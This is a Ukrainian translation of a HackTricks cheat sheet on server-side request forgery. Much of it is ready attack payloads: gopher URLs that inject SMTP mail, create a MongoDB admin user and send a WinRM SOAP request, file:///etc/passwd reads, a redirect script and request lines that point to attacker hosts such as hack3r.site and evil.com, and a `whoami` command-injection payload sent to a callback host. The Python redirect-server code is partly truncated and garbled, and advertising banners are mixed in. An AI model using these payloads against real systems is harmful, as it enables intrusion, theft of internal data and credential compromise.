hacktricks/pentesting-web/ssrf-server-side-request-forgery
2024-03-29 19:49:46 +01:00
..
cloud-ssrf.md Translated to Ukranian 2024-03-29 19:49:46 +01:00
README.md Translated to Ukranian 2024-03-29 19:49:46 +01:00
ssrf-vulnerable-platforms.md Translated to Ukranian 2024-03-29 19:49:46 +01:00
url-format-bypass.md Translated to Ukranian 2024-03-29 19:49:46 +01:00

SSRF (Server Side Request Forgery)


Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, які працюють на найбільш продвинутих інструментах спільноти.
Отримайте доступ сьогодні:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Базова інформація

Уразливість Server-side Request Forgery (SSRF) виникає, коли зловмисник маніпулює серверною програмою, щоб зробити HTTP-запити на домен за їхнім вибором. Ця уразливість викриває сервер зовнішнім запитам, спрямованим зловмисником.

Захоплення SSRF

Перше, що вам потрібно зробити, це захопити взаємодію SSRF, створену вами. Для захоплення HTTP- або DNS-взаємодії ви можете використовувати такі інструменти, як:

Обхід доменів у білому списку

Зазвичай ви виявите, що SSRF працює лише в певних доменах або URL-адресах. На наступній сторінці ви знайдете компіляцію технік для спроб обійти цей білий список:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Обхід через відкритий перенаправлення

Якщо сервер належним чином захищений, ви можете обійти всі обмеження, використовуючи вразливість відкритого перенаправлення на веб-сторінці. Оскільки веб-сторінка дозволить SSRF на той самий домен, і, ймовірно, буде слідувати перенаправленням, ви можете використати відкрите перенаправлення, щоб змусити сервер отримати доступ до внутрішнього ресурсу.
Докладніше читайте тут: https://portswigger.net/web-security/ssrf

Протоколи

  • file://
  • Схема URL file:// посилається безпосередньо на /etc/passwd: file:///etc/passwd
  • dict://
  • Схема URL DICT описується як використовувана для доступу до визначень або словників за допомогою протоколу DICT. Наведено приклад побудованого URL, який спрямований на конкретне слово, базу даних та номер запису, а також приклад використання PHP-скрипта для підключення до сервера DICT за допомогою наданих зловмисником облікових даних: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Визначено як протокол безпечного передавання файлів через безпечний shell, наведено приклад того, як PHP-скрипт можна використовувати для підключення до шкідливого сервера SFTP: url=sftp://generic.com:11111/
  • TFTP://
  • Згадується Протокол простого передавання файлів, що працює через UDP, з прикладом PHP-скрипта, призначеного для відправлення запиту на сервер TFTP. Запит TFTP робиться на 'generic.com' на порт '12346' для файлу 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Цей сегмент охоплює протокол легкого доступу до каталогів, підкреслюючи його використання для управління та доступу до розподілених служб каталогів через IP-мережі. Взаємодійте з сервером LDAP на localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Описано метод використання уразливостей SSRF для взаємодії з SMTP-сервісами на localhost, включаючи кроки для виявлення внутрішніх доменних імен та подальші розслідувальні дії на основі цієї інформації.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL глобінг - обхід WAF
  • Якщо SSRF виконується за допомогою curl, у curl є функція, яка називається URL глобінг, яка може бути корисною для обходу WAF. Наприклад, у цьому **описі ви можете знайти приклад траверсу шляху через протокол file:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Обговорюється можливість протоколу Gopher вказати IP, порт та байти для зв'язку з сервером, разом із інструментами, такими як Gopherus та remote-method-guesser для створення поліпшень. Показано два відмінні використання:

Gopher://

За допомогою цього протоколу ви можете вказати IP, порт та байти, які ви хочете, щоб сервер надіслав. Після цього ви фактично можете використовувати SSRF для зв'язку з будь-яким TCP сервером (але вам потрібно знати, як спілкуватися з послугою спочатку).
На щастя, ви можете використовувати Gopherus, щоб створювати поліпшення для кількох послуг. Крім того, remote-method-guesser може бути використаний для створення gopher поліпшень для служб Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Зворотнє підключення до 1337

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

Gopher MongoDB -- Створити користувача з ім'ям користувача=admin з паролем=admin123 та дозволом=адміністратор

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF через заголовок Referrer та інші

Аналітичне програмне забезпечення на серверах часто реєструє заголовок Referrer для відстеження вхідних посилань, практика, яка ненавмисно викриває додатки до уразливостей на стороні сервера у вигляді підроблення запитів на сервер (SSRF). Це тому, що таке програмне забезпечення може відвідувати зовнішні URL-адреси, зазначені в заголовку Referrer, для аналізу вмісту сайту-джерела. Для виявлення цих уразливостей рекомендується використовувати плагін Burp Suite "Collaborator Everywhere", використовуючи спосіб обробки аналітичними інструментами заголовка Referer для ідентифікації потенційних поверхонь атаки SSRF.

SSRF через дані SNI з сертифікату

Неправильна конфігурація, яка може дозволити підключення до будь-якого бекенду за допомогою простого налаштування, проілюстрована на прикладі конфігурації Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

У цій конфігурації значення з поля Server Name Indication (SNI) безпосередньо використовується як адреса бекенду. Це налаштування викриває вразливість на Server-Side Request Forgery (SSRF), яку можна використовувати, просто вказавши бажану IP-адресу або доменне ім'я у полі SNI. Нижче наведено приклад використання для примусового підключення до довільного бекенду, такого як internal.host.com, за допомогою команди openssl:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Завантаження файлу Wget

SSRF з Внедренням Команд

Можливо варто спробувати використати пейлоад на кшталт: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Відображення PDF

Якщо веб-сторінка автоматично створює PDF з наданою вами інформацією, ви можете вставити деякий JS, який буде виконаний самим створювачем PDF (сервером) під час створення PDF, і ви зможете зловживати SSRF. Дізнайтеся більше тут.

Від SSRF до DoS

Створіть кілька сеансів та спробуйте завантажити важкі файли, використовуючи SSRF з сеансів.

Функції SSRF PHP

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

SSRF Перенаправлення на Gopher

Для деяких експлуатацій може знадобитися відправити відповідь перенаправлення (потенційно використовуючи інший протокол, наприклад gopher). Тут ви знайдете різні коди Python для відповіді з перенаправленням:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%
```plaintext
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)


Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, які працюють на найбільш продвинутих інструментах спільноти у світі.
Отримайте доступ сьогодні:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Неправильно налаштовані проксі для SSRF

Хитрощі з цього посту.

Flask

Вразливий код проксі Flask ```python from flask import Flask from requests import get

app = Flask('main') SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''}) @app.route('/path:path')

def proxy(path): return get(f'{SITE_NAME}{path}').content

if name == "main": app.run(threaded=False)

</details>

Flask дозволяє використовувати **`@`** як початковий символ, що дозволяє зробити **початкове ім'я хоста ім'ям користувача** та впровадити нове. Атака запиту:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Вразливий код:

Було виявлено, що можливо розпочати шлях запиту з символу ;, що дозволяє використовувати потім @ та впроваджувати новий хост для доступу. Атака запиту:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Вбудований веб-сервер PHP

Вразливий PHP код ```php $proxy_site = $site.$current_uri; var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

PHP дозволяє використовувати **символ `*` перед косою рискою в шляху** URL, однак є інші обмеження, наприклад, його можна використовувати лише для кореневого шляху `/`, і крапки `.` не допускаються перед першою косою рискою, тому потрібно використовувати кодовану адресу IP без крапок, наприклад:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

Обхід CORS/SOP за допомогою DNS Rebidding

Якщо у вас виникають проблеми з ексфільтрацією вмісту з локальної IP-адреси через CORS/SOP, DNS Rebidding може бути використаний для обходу цього обмеження:

{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}

Автоматизований DNS Rebidding

Singularity of Origin - це інструмент для виконання атак DNS rebinding. Він включає необхідні компоненти для перенаправлення IP-адреси сервера атаки на DNS-ім'я цільової машини та надання атакуючих навантажень для використання вразливого програмного забезпечення на цільовій машині.

Також перевірте публічно працюючий сервер за адресою http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Вимоги:

  • SSRF
  • Вихідні TLS-сесії
  • Вміст на локальних портах

Атака:

  1. Запросіть користувача/бота доступ до домену, керованого атакуючим
  2. TTL DNS становить 0 сек (таким чином, жертва скоро знову перевірить IP-адресу домену)
  3. Між жертвою та доменом атакуючого створюється TLS-з'єднання. Атакуючий вводить навантаження в Session ID або Session Ticket.
  4. Домен почне безкінечний цикл перенаправлень на самого себе. Мета полягає в тому, щоб змусити користувача/бота звертатися до домену, поки він знову не виконає запит DNS домену.
  5. У запиті DNS зазначається приватна IP-адреса (наприклад, 127.0.0.1)
  6. Користувач/бот спробує відновити TLS-з'єднання, і для цього він надішле Session ID/Ticket ID (де містилося навантаження атакуючого). Таким чином, вітаємо, ви змогли змусити користувача/бота атакувати самого себе.

Зауважте, що під час цієї атаки, якщо ви хочете атакувати localhost:11211 (memcache), вам потрібно зробити так, щоб жертва встановила початкове з'єднання з www.attacker.com:11211 (порт завжди повинен бути однаковим).
Для виконання цієї атаки ви можете використати інструмент: https://github.com/jmdx/TLS-poison/
Для додаткової інформації перегляньте виступ, де пояснюється ця атака: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Сліпий SSRF

Відмінність між сліпим SSRF та не сліпим полягає в тому, що в сліпному ви не можете бачити відповідь на запит SSRF. Тому його складніше експлуатувати, оскільки ви зможете експлуатувати лише відомі вразливості.

Часовий SSRF

Перевірка часу відповідей від сервера може допомогти визначити, чи існує ресурс, чи ні (можливо, доступ до існуючого ресурсу займає більше часу, ніж доступ до неіснуючого)

Експлуатація Cloud SSRF

Якщо ви виявите вразливість SSRF на машині, що працює в хмарному середовищі, ви можете отримати цікаву інформацію про хмарне середовище навіть облікові дані:

{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}

Платформи з вразливим SSRF

Декілька відомих платформ містить або містили вразливості SSRF, перевірте їх тут:

{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}

Інструменти

SSRFMap

Інструмент для виявлення та експлуатації вразливостей SSRF

Gopherus

Цей інструмент генерує Gopher-навантаження для:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser - це сканер вразливостей Java RMI, який підтримує операції атак для більшості поширених вразливостей Java RMI. Більшість доступних операцій підтримують опцію --ssrf, щоб генерувати SSRF навантаження для запитаної операції. Разом з опцією --gopher можна безпосередньо генерувати готові до використання Gopher-навантаження.

SSRF Proxy

SSRF Proxy - це багатопотоковий HTTP проксі-сервер, призначений для тунелювання клієнтського HTTP-трафіку через HTTP-сервери, вразливі до атаки Server-Side Request Forgery (SSRF).

Для практики

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

Посилання